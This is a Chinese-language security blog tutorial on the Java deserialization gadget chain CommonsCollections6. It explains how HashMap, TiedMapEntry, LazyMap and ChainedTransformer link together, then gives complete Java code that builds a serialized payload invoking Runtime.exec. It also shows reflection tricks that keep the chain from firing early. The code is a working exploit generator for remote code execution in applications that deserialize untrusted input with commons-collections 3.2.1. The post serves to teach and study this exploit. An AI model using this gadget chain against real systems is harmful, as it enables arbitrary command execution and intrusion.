Java反序列化CommonsCollections篇-CC6(最好用的CC链)

环境搭建

  • JAVA版本JAVA 21

  • commons-collections 3.2.1

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

前言

CC1现在来说的话比较鸡肋。因为在8u71以后AnnotationInvocationHandler.readObject()改变了。

为了解决高版本的利用问题ysoserial给出了解决方案CommonsCollections6,也就是我们平常称的CC6。

其实后面利用链和CC1是一样的,LazyMap.get()

image-20240525145206477

CC6

从ysoserial可以看出链首是HashMap,其实HashMap我们挺熟悉。HashMap.readObject()->HashMap.put()->HashMap.hash().(key)HashCode()

所以现在只需要有一个类的HashCode()调用了get()就可以将这整段链链接起来。

攻击链分析

作者是发现了TiedMapEntry.HashCode().getValue()中调用了get(),那这就可以把前后两段链链接起来。

image-20240525163703284

image-20240525163727555

完整利用链

CC6

实现攻击链

后面代码执行的部分和CC1是一样的,复制就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};



ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

接下来直接new TiedMapEntry,看TiedMapEntry的构造器,所以map可以直接传入之前的chainedTransformer,key随便传。

然后new HashMap作为入口,放入把tiedMapEntry放进key。为什么把tiedMapEntry放进key而不是放进value中?因为HashMap.readObject是对key进行hash()。同样的value随便传。

image-20240525162706680

image-20240525162851644

但是我们在URLDNS那条链里面就有经验了,HashMap.put就会对key进行hash(),也就是对key调用hashCode(),会直接导致在序列化的时候直接走完这条链。

所以得更改一下,改法很多,思路其实都是一样的,put时放进一个不能让链连接起来的对象或者方法,序列化的时候改回设想的调用链,让链能连接起来。

这里主要写了两种方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
public class CC6 {

public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

//改法一:先把不把transformers放进chainedTransformer中,这里new了个ConstantTransformer[]{},ChainedTransformer就调用不了transformers
// ChainedTransformer chainedTransformer = new ChainedTransformer(new ConstantTransformer[]{});


ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
// Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

//改法二:先不把chainedTransformer放进LazyMap.decorate(),这样lazyMap也找不到后半条链
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));



TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
// lazyMap.remove("aaa");

//改法一:通过反射将transformers放进chainedTransformer中
// Class<ChainedTransformer> c2 = ChainedTransformer.class;
// Field iTransformersField = c2.getDeclaredField("iTransformers");
// iTransformersField.setAccessible(true);
// iTransformersField.set(chainedTransformer, transformers);

//改法二:通过反射将chainedTransformer放进lazyMap中
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);




//生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map2);
oos.close();

//本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();


}

}

遇到一个小问题

发现这时候反序列化不能成功执行

我们可以尝试调试一下,添加一个lnline Watches,可以看到执行的时候map.put(key,value)key:"aaa"put进去了,导致我们反序列化得时候if(map.containsKey(key) == false)判定失败,因为这时候if(map.containsKey(key)==true),然后就走不进这个if,导致调用transform()方法失败,最终导致链不能成功执行。

image-20240525204315232

解决方法很简单,等put完后,remove()掉就行,随后就可以正常执行反序列化

image-20240525163825585

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
public class CC6 {

public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

//改法一:先把不把transformers放进chainedTransformer中,这里new了个ConstantTransformer[]{},ChainedTransformer就调用不了transformers
ChainedTransformer chainedTransformer = new ChainedTransformer(new ConstantTransformer[]{});


// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

//改法二:先不把chainedTransformer放进LazyMap.decorate(),这样lazyMap也找不到后半条链
// Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));



TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove("aaa");

//改法一:通过反射将transformers放进chainedTransformer中
Class<ChainedTransformer> c2 = ChainedTransformer.class;
Field iTransformersField = c2.getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(chainedTransformer, transformers);

//改法二:通过反射将chainedTransformer放进lazyMap中
// Class c = LazyMap.class;
// Field factoryField = c.getDeclaredField("factory");
// factoryField.setAccessible(true);
// factoryField.set(lazyMap, chainedTransformer);




//生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map2);
oos.close();

//本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
// Object o = ois.readObject();


}

}

参考链接

Java反序列化CommonsCollections篇(二)-最好用的CC链


Java反序列化CommonsCollections篇-CC6(最好用的CC链)
https://sp4rks3.github.io/2024/05/25/JAVA安全/反序列化/CC6/
作者
Sp4rks3
发布于
2024年5月25日
许可协议